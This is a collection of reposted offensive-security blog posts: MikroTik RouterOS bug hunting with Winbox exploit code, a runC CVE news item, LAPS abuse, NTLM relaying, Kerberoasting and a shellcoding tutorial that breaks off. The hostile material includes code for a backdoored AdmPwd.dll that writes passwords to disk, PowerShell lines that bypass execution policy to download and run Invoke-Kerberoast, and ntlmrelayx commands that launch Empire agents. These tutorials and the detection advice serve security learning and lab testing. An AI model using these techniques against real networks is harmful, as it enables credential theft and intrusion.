Make It Rain with MikroTik

Original text by Jacob Baines

Can you hear me in the… front?

I came into work to find an unusually high number of private Slack messages. They all pointed to the same tweet.

Why would this matter to me? I gave a talk at Derbycon about hunting for bugs in MikroTik’s RouterOS. I had a 9am Sunday time slot.

You don’t want a 9am Sunday time slot at Derbycon

Now that Zerodium is paying out six figures for MikroTik vulnerabilities, I figured it was a good time to finally put some of my RouterOS bug hunting into writing. Really, any time is a good time to investigate RouterOS. It’s a fun target. Hell, just preparing this write up I found a new unauthenticated vulnerability. You could too.


Laying the Groundwork

Now I know you’re already looking up Rolex prices, but calm down, Sparky. You still have work to do. Even if you’re just planning to download a simple fuzzer and pray for a pay day, you’ll still need to read this first section.

Acquiring Software

You don’t have to rush to Amazon to acquire a router. MikroTik makes RouterOS ISOs available on their website. The ISO can be used to create a virtual host with VirtualBox or VMWare.

Naturally, Mikrotik published 6.42.12 the day I published this blog

You can also extract the system files from the ISO.

albinolobster@ubuntu:~/6.42.11$ 7z x mikrotik-6.42.11.iso
7-Zip [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18
p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)
Processing archive: mikrotik-6.42.11.iso
Extracting  advanced-tools-6.42.11.npk
Extracting calea-6.42.11.npk
Extracting defpacks
Extracting dhcp-6.42.11.npk
Extracting dude-6.42.11.npk
Extracting gps-6.42.11.npk
Extracting hotspot-6.42.11.npk
Extracting ipv6-6.42.11.npk
Extracting isolinux
Extracting isolinux/boot.cat
Extracting isolinux/initrd.rgz
Extracting isolinux/isolinux.bin
Extracting isolinux/isolinux.cfg
Extracting isolinux/linux
Extracting isolinux/TRANS.TBL
Extracting kvm-6.42.11.npk
Extracting lcd-6.42.11.npk
Extracting LICENSE.txt
Extracting mpls-6.42.11.npk
Extracting multicast-6.42.11.npk
Extracting ntp-6.42.11.npk
Extracting ppp-6.42.11.npk
Extracting routing-6.42.11.npk
Extracting security-6.42.11.npk
Extracting system-6.42.11.npk
Extracting TRANS.TBL
Extracting ups-6.42.11.npk
Extracting user-manager-6.42.11.npk
Extracting wireless-6.42.11.npk
Extracting [BOOT]/Bootable_NoEmulation.img
Everything is Ok
Folders: 1
Files: 29
Size: 26232176
Compressed: 26335232

MikroTik packages a lot of their software in their custom .npk format. There’s a tool that’ll unpack these, but I prefer to just use binwalk.

albinolobster@ubuntu:~/6.42.11$ binwalk -e system-6.42.11.npk
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------
0 0x0 NPK firmware header, image size: 15616295, image name: "system", description: ""
4096 0x1000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 9818075 bytes, 1340 inodes, blocksize: 262144 bytes, created: 2018-12-21 09:18:10
9822304 0x95E060 ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
9842177 0x962E01 Unix path: /sys/devices/system/cpu
9846974 0x9640BE ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
9904147 0x972013 Unix path: /sys/devices/system/cpu
9928025 0x977D59 Copyright string: "Copyright 1995-2005 Mark Adler "
9928138 0x977DCA CRC32 polynomial table, little endian
9932234 0x978DCA CRC32 polynomial table, big endian
9958962 0x97F632 xz compressed data
12000822 0xB71E36 xz compressed data
12003148 0xB7274C xz compressed data
12104110 0xB8B1AE xz compressed data
13772462 0xD226AE xz compressed data
13790464 0xD26D00 xz compressed data
15613512 0xEE3E48 xz compressed data
15616031 0xEE481F Unix path: /var/pdb/system/crcbin/milo 3801732988
albinolobster@ubuntu:~/6.42.11$ ls -o ./_system-6.42.11.npk.extracted/squashfs-root/
total 64
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 bin
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 boot
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 dev
lrwxrwxrwx 1 albinolobster 11 Dec 21 04:18 dude -> /flash/dude
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 etc
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 flash
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 home
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 initrd
drwxr-xr-x 4 albinolobster 4096 Dec 21 04:18 lib
drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 nova
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 old
lrwxrwxrwx 1 albinolobster 9 Dec 21 04:18 pckg -> /ram/pckg
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 proc
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 ram
lrwxrwxrwx 1 albinolobster 9 Dec 21 04:18 rw -> /flash/rw
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sbin
drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sys
lrwxrwxrwx 1 albinolobster 7 Dec 21 04:18 tmp -> /rw/tmp
drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 usr
drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 var
albinolobster@ubuntu:~/6.42.11$

Hack the Box

When looking for vulnerabilities it’s helpful to have access to the target’s filesystem. It’s also nice to be able to run tools, like GDB, locally. However, the shell that RouterOS offers isn’t a normal unix shell. It’s just a command line interface for RouterOS commands.

Who am I?!

Fortunately, I have a work around that will get us root. RouterOS will execute anything stored in the /rw/DEFCONF file due the way the rc.d script S12defconf is written.

Friends don’t let friends use eval

A normal user has no access to that file, but thanks to the magic of VMs and Live CDs you can create the file and insert any commands you want. The exact process takes too many words to explain. Instead I made a video. The screen recording is five minutes long and it goes from VM installation all the way through root telnet access.

With root telnet access you have full control of the VM. You can upload more tooling, attach to processes, watch logs, etc. You’re now ready to explore the router’s attack surface.


Is Anyone Listening?

You can quickly determine the network reachable attack surface thanks to the ps command.

Looks like the router listens on some well known ports (HTTP, FTP, Telnet, and SSH), but also some lesser known ports. btest on port 2000 is the bandwidth-test server. mproxy on 8291 is the service that WinBox interfaces with. WinBox is an administrative tool that runs on Windows. It shares all the same functionality as the Telnet, SSH, and HTTP interfaces.

Hello, I load .dll straight off the router. Yes, that has been a problem. Why do you ask?

The Real Attack Surface

The ps output makes it appear as if there are only a few binaries to bug hunt in. But nothing could be further from the truth. Both the HTTP server and Winbox speak a custom protocol that I’ll refer to as WinboxMessage (the actual code calls it nv::message). The protocol specifies which binary a message should be routed to. In truth, with all packages installed, there are about 90 different network reachable binaries that use the WinboxMessage protocol.

There’s also an easy way to figure out which binaries I’m referring to. A list can be found in each package’s /nova/etc/loader/*.x3 file. x3 is a custom file format so I wrote a parser. The example output goes on for a while so I snipped it a bit.

albinolobster@ubuntu:~/routeros/parse_x3/build$ ./x3_parse -f ~/6.42.11/_system-6.42.11.npk.extracted/squashfs-root/nova/etc/loader/system.x3 
/nova/bin/log,3
/nova/bin/radius,5
/nova/bin/moduler,6
/nova/bin/user,13
/nova/bin/resolver,14
/nova/bin/mactel,15
/nova/bin/undo,17
/nova/bin/macping,18
/nova/bin/cerm,19
/nova/bin/cerm-worker,75
/nova/bin/net,20
...

The x3 file also contains each binary’s “SYS TO” identifier. This is the identifier that the WinboxMessage protocol uses to determine where a message should be handled.


Me Talk WinboxMessage Pretty One Day

Knowing which binaries you should be able to reach is useful, but actually knowing how to communicate with them is quite a bit more important. In this section, I’ll walk through a couple of examples.

Getting Started

Let’s say I want to talk to /nova/bin/undo. Where do I start? Let’s start with some code. I’ve written a bunch of C++ that will do all of the WinboxMessage protocol formatting and session handling. I’ve also created a skeleton programthat you can build off of. main is pretty bare.

std::string ip;
std::string port;
if (!parseCommandLine(p_argc, p_argv, ip, port))
{
return EXIT_FAILURE;
}
Winbox_Session winboxSession(ip, port);
if (!winboxSession.connect())
{
std::cerr << "Failed to connect to the remote host"
<< std::endl;
return EXIT_FAILURE;
}
return EXIT_SUCCESS;

You can see the Winbox_Session class is responsible for connecting to the router. It’s also responsible for authentication logic as well as sending and receiving messages.

Now, from the output above, you know that /nova/bin/undo has a SYS TO identifier of 17. In order to reach undo, you need to update the code to create a message and set the appropriate SYS TO identifier (the new part is bolded).

Winbox_Session winboxSession(ip, port);
if (!winboxSession.connect())
{
std::cerr << "Failed to connect to the remote host"
<< std::endl;
return EXIT_FAILURE;
}
WinboxMessage msg;
msg.set_to(17);

Command and Control

Each message also requires a command. As you’ll see in a little bit, each command will invoke specific functionality. There are some builtin commands (0xfe0000–0xfe00016) used by all handlers and some custom commands that have unique implementations.

Pop /nova/bin/undo into a disassembler and find the nv::Looper::Looperconstructor’s only code cross reference.

Follow the offset to vtable that I’ve labeled undo_handler and you should see the following.

This is the vtable for undo’s WinboxMessage handling. A bunch of the functions directly correspond to the builtin commands I mentioned earlier (e.g. 0xfe0001 is handled by nv::Handler::cmdGetPolicies). You can also see I’ve highlighted the unknown command function. Non-builtin commands get implemented there.

Since the non-builtin commands are usually the most interesting, you’re going to jump into cmdUnknown. You can see it starts with a command based jump table.

It looks like the commands start at 0x80001. Looking through the code a bit, command 0x80002 appears to have a useful string to test against. Let’s see if you can reach the “nothing to redo” code path.

You need to update the skeleton code to request command 0x80002. You’ll also need to add in the send and receive logic. I’ve bolded the new part.

WinboxMessage msg;
msg.set_to(17);
msg.set_command(0x80002);
msg.set_request_id(1);
msg.set_reply_expected(true);
winboxSession.send(msg);
std::cout << "req: " << msg.serialize_to_json() << std::endl;
msg.reset();
if (!winboxSession.receive(msg))
{
std::cerr << "Error receiving a response." << std::endl;
return EXIT_FAILURE;
}
std::cout << "resp: " << msg.serialize_to_json() << std::endl;

if (msg.has_error())
{
std::cerr << msg.get_error_string() << std::endl;
return EXIT_FAILURE;
}
return EXIT_SUCCESS;

After compiling and executing the skeleton you should get the expected, “nothing to redo.”

albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291
req: {bff0005:1,uff0006:1,uff0007:524290,Uff0001:[17]}
resp: {uff0003:2,uff0004:2,uff0006:1,uff0008:16646150,sff0009:'nothing to redo',Uff0001:[],Uff0002:[17]}
nothing to redo
albinolobster@ubuntu:~/routeros/poc/skeleton/build$

There’s Rarely Just One

In the previous example, you looked at the main handler in undo which was addressable simply as 17. However, the majority of binaries have multiple handlers. In the following example, you’ll examine /nova/bin/mproxy’s handler #2. I like this example because it’s the vector for CVE-2018–14847and it helps demystify these weird binary blobs:

My exploit for CVE-2018–14847 delivers a root shell. Just sayin’.

Hunting for Handlers

Open /nova/bin/mproxy in IDA and find the nv::Looper::addHandler import. In 6.42.11, there are only two code cross references to addHandler. It’s easy to identify the handler you’re interested in, handler 2, because the handler identifier is pushed onto the stack right before addHandler is called.

If you look up to where nv::Handler* is loaded into edi then you’ll find the offset for the handler’s vtable. This structure should look very familiar:

Again, I’ve highlighted the unknown command function. The unknown command function for this handler supports seven commands:

  1. Opens a file in /var/pckg/ for writing.
  2. Writes to the open file.
  3. Opens a file in /var/pckg/ for reading.
  4. Reads the open file.
  5. Cancels a file transfer.
  6. Creates a directory in /var/pckg/.
  7. Opens a file in /home/web/webfig/ for reading.

Commands 4, 5, and 7 do not require authentication.

Open a File

Let’s try to open a file in /home/web/webfig/ with command 7. This is the command that the FIRST_PAYLOAD in the exploit-db screenshot uses. If you look at the handling of command 7 in the code, you’ll see the first thing it looks for is a string with the id of 1.

The string is the filename you want to open. What file in /home/web/webfig is interesting?

The real answer is “none of them” look interesting. But list contains a list of the installed packages and their version numbers.

Let’s translate the open file request into WinboxMessage. Returning to the skeleton program, you’ll want to overwrite the set_to and set_commandcode. You’ll also want to insert the add_string. I’ve bolded the new portion again.

Winbox_Session winboxSession(ip, port);
if (!winboxSession.connect())
{
std::cerr << "Failed to connect to the remote host"
<< std::endl;
return EXIT_FAILURE;
}
WinboxMessage msg;
msg.set_to(2,2); // mproxy, second handler
msg.set_command(7);
msg.add_string(1, "list"); // the file to open

msg.set_request_id(1);
msg.set_reply_expected(true);
winboxSession.send(msg);
std::cout << "req: " << msg.serialize_to_json() << std::endl;
msg.reset();
if (!winboxSession.receive(msg))
{
std::cerr << "Error receiving a response." << std::endl;
return EXIT_FAILURE;
}
std::cout << "resp: " << msg.serialize_to_json() << std::endl;

When running this code you should see something like this:

albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291
req: {bff0005:1,uff0006:1,uff0007:7,s1:'list',Uff0001:[2,2]}
resp: {u2:1818,ufe0001:3,uff0003:2,uff0006:1,Uff0001:[],Uff0002:[2,2]}
albinolobster@ubuntu:~/routeros/poc/skeleton/build$

You can see the response from the server contains u2:1818. Look familiar?

1818 is the size of the list

As this is running quite long, I’ll leave the exercise of reading the file’s content up to the reader. This very simple CVE-2018–14847 proof of concept contains all the hints you’ll need.

Conclusion

I’ve shown you how to get the RouterOS software and root a VM. I’ve shown you the attack surface and taught you how to navigate the system binaries. I’ve given you a library to handle Winbox communication and shown you how to use it. If you want to go deeper and nerd out on protocol minutiae then check out my talk. Otherwise, you now know enough to be dangerous.

Good luck and happy hacking!

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SensorsTechForum NEWSTHREAT REMOVALREVIEWSFORUMSSEARCH NEWS CVE-2019-5736 Linux Flaw in runC Allows Unauthorized Root Access

Original text by Milena Dimitrova

CVE-2019-5736 is yet another Linux vulnerability discovered in the core runC container code. The runC tool is described as a lightweight, portable implementation of the Open Container Format (OCF) that provides container runtime.

CVE-2019-5736 Technical Details

The security flaw potentially affects several open-source container management systems. Shortly said, the flaw allows attackers to get unauthorized, root access to the host operating system, thus escaping Linux container.

In more technical terms, the vulnerability:

allows attackers to overwrite the host runc binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-controlled image, or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec. This occurs because of file-descriptor mishandling, related to /proc/self/exe, as explained in the official advisory.

The CVE-2019-5736 vulnerability was unearthed by open source security researchers Adam Iwaniuk and Borys Popławski. However, it was publicly disclosed by Aleksa Sarai, a senior software engineer and runC maintainer at SUSE Linux GmbH on Monday.

“I am one of the maintainers of runc (the underlying container runtime underneath Docker, cri-o, containerd, Kubernetes, and so on). We recently had a vulnerability reported which we have verified and have a
patch for,” Sarai wrote.

The researcher also said that a malicious user would be able to run any command (it doesn’t matter if the command is not attacker-controlled) as root within a container in either of these contexts:

– Creating a new container using an attacker-controlled image.
– Attaching (docker exec) into an existing container which the attacker had previous write access to.

It should also be noted that CVE-2019-5736 isn’t blocked by the default AppArmor policy, nor
by the default SELinux policy on Fedora[++], due to the fact that container processes appear to be running as container_runtime_t.

Nonetheless, the flaw is blocked through correct use of user namespaces where the host root is not mapped into the container’s user namespace.

 Related: CVE-2018-14634: Linux Mutagen Astronomy Vulnerability Affects RHEL and Cent OS Distros

CVE-2019-5736 Patch and Mitigation

Red Hat says that the flaw can be mitigated when SELinux is enabled in targeted enforcing mode, a condition which comes by default on RedHat Enterprise Linux, CentOS, and Fedora.

There’s also a patch released by the maintainers of runC available on GitHub. Please note that all projects which are based on runC should apply the patches themselves.

Who’s Affected?

Debian and Ubuntu are vulnerable to the vulnerability, as well as container systems running LXC, a Linux containerization tool prior to Docker. Apache Mesos container code is also affected.

Companies such as Google, Amazon, Docker, and Kubernetes are have also released fixes for the flaw.

Malicious use of Microsoft LAPS

Original text by Akijosberry

LAPS Overview:

LAPS (Local Administrator Password Solution) is a tool for managing local administrator passwords for domain joined computers. It stores passwords/secrets in a confidential attribute in the computer’s corresponding active directory object. LAPS eliminates the risk of lateral movement by generating random passwords of local administrators. LAPS solution is a Group Policy Client Side Extension (CSE) which is installed on all managed machines to perform all management tasks.

Domain administrators and anyone who has full control on computer objects in AD can read and write both pieces of information (i.e., password and expiration timestamp). Password’s stored in AD is protected by ACL, it is up to the sysadmins to define who can and who cannot read the attributes. When transferred over the network, both password and time stamp are encrypted by kerberos and when stored in AD both password and time stamp are stored in clear text.

Components of LAPS:
  • Agent – Group Policy Client Extension(CSE)
    • Event Logging and Random password generation
  • PowerShell Module
    • Solution configuration
  • Active Directory
    • Computer Object, Confidential attribute, Audit trail in security log of domain controller
Reconnaissance:

Firstly, we will identify whether LAPS solution has been installed on the machine which we had gained a foothold. We will leverage powershell cmdlet to identify if the admpwd.dll exist or not.

1Get-ChildItem ‘c:\program files\LAPS\CSE\Admpwd.dll’

The very next step would be identifying who has read access to ms-Mcs-AdmPwd. we can use Powerviewfor identifying users having read access to ms-Mcs-AdmPwd

12345Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs |Where-Object {($_.ObjectType -like 'ms-Mcs-AdmPwd') -and($_.ActiveDirectoryRights -match 'ReadProperty')}
PowerView_Cmd.png

If RSAT(Remote Server Administration Tools) is enabled on the victim machine, then there is an interesting way of identifying user’s having access to ms-Mcs-AdmPwd. we can simply fire the command:

1dsacls.exe 'Path to the AD DS Object'
Dumping LAPS password:

Once you have identified the user’s who has read access to ms-Mcs-AdmPwd, the next thing would be compromising those user accounts and then dumping LAPS password in clear text.

I already did a blog post on ‘Dump LAPS password in clear text‘  and would highly encourage readers to have look at that post as well.

Tip: It is highly recommended to provide ms-Mcs-AdmPwd  read access to only those who actually manage those computer objects and remove unwanted users from having read access.

Poisoning AdmPwd.dll:

Most of the previous research/attacks are focused on the server side (i.e., looking for accounts who can read the passwords) not on the client side. Microsoft’s LAPS is a client side extension which runs a single dll that manages password (admpwd.dll).

LAPS was based on open source solution called “AdmPwd” developed by Jiri Formacek and is a part of microsoft product portfolio since may 2015. The LAPS solution does not have integrity checks or signature verification for dll file. AdmPwd solution is compatible with Microsoft’s LAPS, so let’s poison the dll by compiling the project from source and replace it with the original dll. To replace the original dll administrative privilege is required and at this point we assume the user already has gained administrator privilege by LPE or any other means.

Now let’s add these 3-4 lines in the AdmPwd solution and compile the malicious dll. These lines will be added where the new password and time stamp would be reported to the AD.

1234wofstream backdoor;backdoor.open("c:\\backdoor.txt");backdoor << newPwd;backdoor.close();

In this way adversary will appear normal, passwords would be synced and will also comply with LAPS policy.

BONUS: Persistence of clear text password *

*Persistence till the time poisoned dll is unchanged.

Dectection/Prevention:
  • Validate the Integrity/Signature of admpwd.dll
  • File Integrity Monitoring (FIM) policy can be created to monitor and changes/modification to the dll.
  • Application whitelisting can be applied to detect/prevent poisoning.
  • Increase LAPS logging level by setting the registry value to 2 (Verbose mode, Log everything):
    HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\GPExtensions\{D76B9641-3288-4f75-942D-087DE603E3EA}\ExtensionDebugLevel

Note:  Above methods are just my ramblings, I am not sure whether some of these would detect or prevent.

Modifying searchFlags attribute:

The attribute of our interest is ms-Mcs-AdmPwd which is a confidential attribute.Let’s first identify searchFlags attribute of ms-Mcs-AdmPwd. We will be using active directory PS module.

SearchFlags_Attribute.png

The searchFlags attribute value is 904 (0x388). From this value we need to remove the 7th bit which is the confidential attribute. CF which is the 7 th bit (0x00000080) ie., After removing the confidential value(0x388-0x80) the new value is 0x308 ie., 776. We will leverage DC Shadow attack to modify the searchFlags attribute.

Detection/Prevention:
  • Anything which detects DC Shadow attack eg.,ALSID Team’s powershell script. ( It detects using the “LDAP_SERVER_NOTIFICATION_OID” and tracks what changes are registered in the AD infrastructure).
  • Microsoft ATA also detects malicious replications.
  • It can also be detected by comparing the metadata of the searchFlags attribute or even looking at the LocalChangeUSN which is inconsistent with searchFlags attribute.

Note: In my lab setup when i removed the confidential attribute from one DC it gets replicated to other DC’s as well (i.e., searchFlags attribute value 776 gets replicated to other DC’s). Another thing i noticed is after every change the SerachFlags version gets increased but in my lab setup it was not increasing after 10. If you find something different do let me know.

References:
https://technet.microsoft.com/en-us/mt227395.aspx
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
https://2017.hack.lu/archive/2017/HackLU_2017_Malicious_use_LAPS_Clementz_Goichot.pdf
https://github.com/GreyCorbel/admpwd
https://rastamouse.me/2018/03/laps—part-2/
http://adds-security.blogspot.com/2018/08/mise-en-place-dune-backdoor-laps-via.html
https://msdn.microsoft.com/en-us/library/cc223153.aspx
https://github.com/AlsidOfficial/UncoverDCShadow

Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes)

( Original text by byt3bl33d3r )

This blog post is mainly aimed to be a very ‘cut & dry’ practical guide to help clear up any confusion regarding NTLM relaying. Talking to pentesters I’ve noticed that there seems to be a lot of general confusion regarding what you can do with those pesky hashes you get with Responder. I also noticed there doesn’t seem to be an up to date guide on how to do this on the interwebs, and the articles that I did see about the subject either reference tools that are outdated, broken and/or not maintained anymore.

I won’t go into detail on all the specifics since there are a TON of papers out there detailing how the attack actually works, this one from SANS is a ok when it comes to the theory behind the attack.

Before we dive into the thick of it we need make sure we are on the same page with a couple of things.

NTLM vs. NTLMv1/v2 vs. Net-NTLMv1/v2

This is where the confusion starts for a lot of people and quite frankly I don’t blame them because all of the articles about this attack talk about NTLMv1/v2, so when they see Net-NTLMv1/v2 anywhere obviously people wonder if it’s the same thing.

Edit 06/05/2017 — Updated the TL;DR as it was brought to my attention the way I phrased it was still confusing.

TL;DR NTLMv1/v2 is a shorthand for Net-NTLMv1/v2 and hence are the same thing.

However, NTLM (without v1/v2) means something completely different.

NTLM hashes are stored in the Security Account Manager (SAM) database and in Domain Controller’s NTDS.dit database. They look like this:

aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42

Contrary to what you’d expect, the LM hash is the one before the semicolon and the NT hash is the one after the semicolon. Starting with Windows Vista and Windows Server 2008, by default, only the NT hash is stored.

Net-NTLM hashes are used for network authentication (they are derived from a challenge/response algorithm and are based on the user’s NT hash). Here’s an example of a Net-NTLMv2 (a.k.a NTLMv2) hash:

admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030 

(This hash was taken from the Hashcat example hash page here)

From a pentesting perspective:

  • You CAN perform Pass-The-Hash attacks with NTLM hashes.
  • You CANNOT perform Pass-The-Hash attacks with Net-NTLM hashes.

You get NTLM hashes when dumping the SAM database of any Windows OS, a Domain Controller’s NTDS.dit database or from Mimikatz (Fun fact, although you can’t get clear-text passwords from Mimikatz on Windows >= 8.1 you can get NTLM hashes from memory). Some tools just give you the NT hash (e.g. Mimikatz) and that’s perfectly fine: obviously you can still Pass-The-Hash with just the NT hash.

You get Net-NTLMv1/v2 (a.k.a NTLMv1/v2) hashes when using tools like Responder or Inveigh.

This article is going to be talking about what you can do with Net-NTLM in modern windows environments.

Relaying 101

Since MS08-068 you cannot relay a Net-NTLM hash back to the same machine you got it from (e.g. the ‘reflective’ attack) unless you’re performing a cross-protocol relay (which is an entirely different topic). However you can still relay the hash to another machine.

TL;DR you don’t have to crack the hashes you get from Responder, you can directly relay them to other machines!

What’s really cool about this? You can use Responder in combination with a relay tool to automatically intercept connections and relay authentication hashes!

The only caveat to this attack? SMB Signing needs to be disabled on the machine you’re relaying too. With the exception of Windows Server OS’s, all Windows operating systems have SMB Signing disabled by default.

Personally, I consider SMB Signing to be one of the most overlooked and underrated security settings in Windows specifically because of this attack and how easy it allows for attackers to gain an initial foothold.

Setting up

Grab Responder (do not use the version of Responder on SpiderLab’s Github repository as it isn’t maintained anymore, you should be using lgandx’s fork), edit the Responder.conf file and turn off the SMB and HTTP servers:

[Responder Core]

; Servers to start
SQL = On
SMB = Off     # Turn this off
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off    # Turn this off
HTTPS = On
DNS = On
LDAP = On

Now you need a relaying tool.

There are 2 main tools that are maintained and updated regularly that can be used to perform relay attacks with Net-NTLMv1/v2 hashes:

I personally use ntlmrelayx.py so I’ll stick with that for this blogpost.

Install Impacket using pip or manually by git cloning the repo and running the setup file and it will put the ntlmrelayx.py script in your path.

Now you need list of targets to relay to.

How you do that is up to you. I personally use CrackMapExec: V4 has a handy --gen-relay-list flag just for this:

cme smb <CIDR> --gen-relay-list targets.txt

The above command will generate a list of all hosts with SMB Signing disabled and output them to the specified file.

0wning Stuff

Now that you have everything you need, fire up Responder in one terminal window:

python Responder.py -I <interface> -r -d -w

And ntlmrelayx.py in another:

ntlmrelayx.py -tf targets.txt

By default, ntlmrelayx.py upon a successful relay will dump the SAM database of the target.

Buuuuut, you know whats even better? How about executing a command?

ntlmrelayx.py -tf targets.txt -c <insert your Empire Powershell launcher here>

Now, every time ntlmrelayx.py successfully relays a Net-NTLM hash, you will get an Empire agent! How cool is that??!

Here’s a video of how it looks like in practice:

Let’s recap

  1. We’re using Responder to intercept authentication attempts (Net-NTLM hashes) via Multicast/Broadcast protocols.
  2. However, since we turned off Responder’s SMB and HTTP servers and have ntlmrelayx.py running, those authentication attempts get automatically passed to ntlmrelayx.py’s SMB and HTTP servers
  3. ntlmrelayx.py takes over and relays those hashes to our target list. If the relay is successful it will execute our Empire launcher and give us an Empire Agent on the target machine.

Conclusion

SMB Relaying attacks are very much still relevant. Having SMB Signing disabled in combination with Multicast/Broadcast protocols allow attackers to seamlessly intercept authentication attempts, relay them to other machines and gain an initial foothold on an Active Directory network in a matter of minutes.

Now, combine this with something like DeathStar and you have automated everything from getting a foothold to gaining Domain Admin rights!

Shout outs

These are the people responsible for these amazing tools, hard work and research. You should be following them everywhere!

Kerberoasting — From setup to cracking

( Original text by Mark Mo

Feel free to follow me on Twitter at @_markmo_ (yes with the underscores)

From my experience, the hardest part of kerberoasting is setting up the environment. I’ll go over setup all the way to cracking the password. Obviously, only run any scripts on your own machines at your own risk and this is for educational purposes.

Download a windows 2016 server image from Microsoft evaluation site

https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2016

You don’t need to user real information to evaluate the software

Install the ISO on your choice of VM host. I’m using VMware.

If it asks for you for a license key ignore it

If you are using VMware and you see this then VMware has added a floppy disk that you need to remove

Just do this (also, give yourself more ram if you can, default is 2gb I gave myself 8gb)

If you get prompted to install from the CD, do click any button. When you get here be sure to install the desktop experience

on the next screen it asks for a typical or custom option, take the custom option and the only thing you get to select is the disk location. If all goes well you will be logged in. Take a snap shot in case you mess something up.

At this point you are ready to install Active directory. Here is the best guide I’ve seen. No point in re-inventing the wheel just follow this to install AD. One note, if you are not planning to setup other server in your active directory lab, you don’t need to mess with your network settings on step one of the document

Follow this guide to setup AD on your 2016 server. It is the easiest hands on guide I’ve seen

https://blogs.technet.microsoft.com/canitpro/2017/02/22/step-by-step-setting-up-active-directory-in-windows-server-2016/

Once you have Active Directory installed go to a command prompt and type whoami and you should see your domain

For simplicity sake, we will setup one Service Principal Name (SPN) to practices roasting. We will give it a password that is contained in the rockyou.txt password dictionary that comes with Kali Linux.

Type DSA.MSC

select right click on your domain and select “New” then “User” from the fly out menus

Lets create a fake SQL service account

I’m picking this for the password as it is in Rockyou.txt for demonstration purposes. I suggest you do the same for your first roast.

Enter the password and set the password not to expire and don’t make the user change the password and don’t let the user change the password. Make it look like this.

Now we will make our Service Principal Name (SPN). Echo your computer name. You need your computer name for the setspn command

Now we will create the SPN

We will be able to verify we got it setup correctly by calling setSPN command again.

Before attempting kerberoast or any tool or script, always take a snapshot. I always take a snapshot before testing any tool. It might be malicious.

If you are an unprivileged users and need to bypass some powershell restrictions you can use this

powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1′);Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat

If you just want the hash for cracking you can use this and dump the file to C:\Users\Public\HashCapture.txt

IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1′);Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath ‘c:\users\public\HashCapture.txt’ -Width 8000

Either way now we need to crack it. Copy the Hash to your kali box on one single line and save the file. I’m creating a file called test.txt

Run this command (I’m running pot file disabled as I’ve already cracked it)

In a few minutes you should see it is cracked if you entered your password correctly and the password is in your password dictionary and you can see the password in the capture.cracked output file

I hope you learned something. Follow me on twitter @_markmo_ (yes with the underscore)

Linux Buffer Overflows x86 – Part 3 (Shellcoding)

( Original text by SubZero0x9 )

Hello guys, this is the part 3 of the Linux buffer Overflows x86. In this part we will learn what is shellcode, why do we use it and how do we use it. In the previous two blogs, we learnt about process memory, stack region, stack operations, stack registers, attempting buffer overflow, overwriting buffer, modifying return address, manipulating program flow and program execution.
If you have not read the first two blogs, here are the links Part1 and Part2.

The main purpose behind exploiting Buffer Overflow is to spawn a reverse shell or execute arbitrary commands at least. Even if we find a vulnerable binary with stack overflow and are able to overwrite the return address, we still have to tell the binary to execute commands on our behalf. But how do we do that? Suppose we want to spawn a shell of a vulnerable binary, but the code to spawn a shell is not present in the binary. So, even if we control the flow of the binary we really can’t modify the return address to a memory address which can execute the code which spawns a shell. We saw in the previous two blogs, we were able to overwrite the buffer with any arbitrary data. This means, when the program is loaded into memory all the operations are carried out on the stack. Any user input accepted will be stored on the stack and if the program accepts malicious input (remember insufficient bound checking) it also gets stored on the stack. So instead of placing random data, if we place the code which we want to execute on to the stack it will give us the results.
Simple Right? NO !!

